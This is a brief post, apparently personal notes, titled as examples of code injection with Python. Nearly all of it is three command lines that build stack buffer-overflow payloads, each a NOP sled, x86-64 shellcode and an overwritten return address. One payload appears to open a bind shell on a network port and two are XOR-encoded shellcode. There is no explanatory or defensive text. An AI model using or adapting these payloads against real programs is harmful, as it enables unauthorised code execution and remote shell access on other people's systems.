Here some exemple of code injection with python.

run $(python -c 'print "\x90" * 49 + "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05" + "\xef\xff\xff\xff\x48\xbb\x5e\x91\x8d\xfd\xb1\x7c\xb3" +
"\x61\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4" + "\x34\xb8\xd5\x64\xdb\x7e\xec\x0b\x5f\xcf\x82\xf8\xf9" +
"\xeb\xe1\xa6\x5a\xb5\x8f\xfd\xa0\x20\xfb\xe8\xb8\xfb" + "\x9d\xa7\xdb\x4d\xeb\x6e\x5b\xc8\xe7\xcf\xe9\x73\xb6" +
"\x29\xc8\xfb\xa6\xa5\xbe\x79\xe3\x37\x01\xfb\x84\xa5" + "\x28\xca\xa3\x29\xd7\x47\xc0\xcc\x78\x16\x91\x20\x04" +
"\x23\x8a\xf2\xb4\x34\x25\x29\xc9\xce\x82\xf8\x4e\x9a\xb3\x61" + "\xd0\xe0\xff\xff\xff\x7f"')

run $(python -c 'print "\x90" * 49 + "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48" +  "\x97\x52\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a" + "\x10\x5a\x6a\x31\x58\x0f\x05\x59\x6a\x32\x58\x0f\x05" + "\x48\x96\x6a\x2b\x58\x0f\x05\x50\x56\x5f\x6a\x09\x58" + "\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9\x6a\x22\x41\x5a" + "\xb2\x07\x0f\x05\x48\x96\x48\x97\x5f\x0f\x05\xff\xe6" + "\xd0\xe0\xff\xff\xff\x7f"')

run $(python -c 'print "\x90" * 49 + "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05" + "\xef\xff\xff\xff\x48\xbb\xdc\x70\x70\x28\x75\xa8\xfd" + "\x23\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4" + "\xb6\x59\x28\xb1\x1f\xaa\xa2\x49\xdd\x2e\x7f\x2d\x3d" + "\x3f\xaf\xe4\xd8\x54\x72\x28\x64\xf4\xb5\xaa\x3a\x1a" + "\x60\x72\x1f\x99\xa5\x2c\xd9\x29\x1a\x1a\x2d\xa7\xf8" + "\x6b\x4a\x1a\x5b\x70\x7a\xad\xad\x75\x83\x1a\x79\x70" + "\xec\x1e\xed\x6b\x55\xa6\x3d\x19\xbc\xc2\xdf\x62\x86" + "\xc2\x77\x27\x70\xe0\x6b\x6b\x4b\x2f\x7f\x2d\x8a\x4e" + "\xfd\x23" + "\xd0\xe0\xff\xff\xff\x7f"')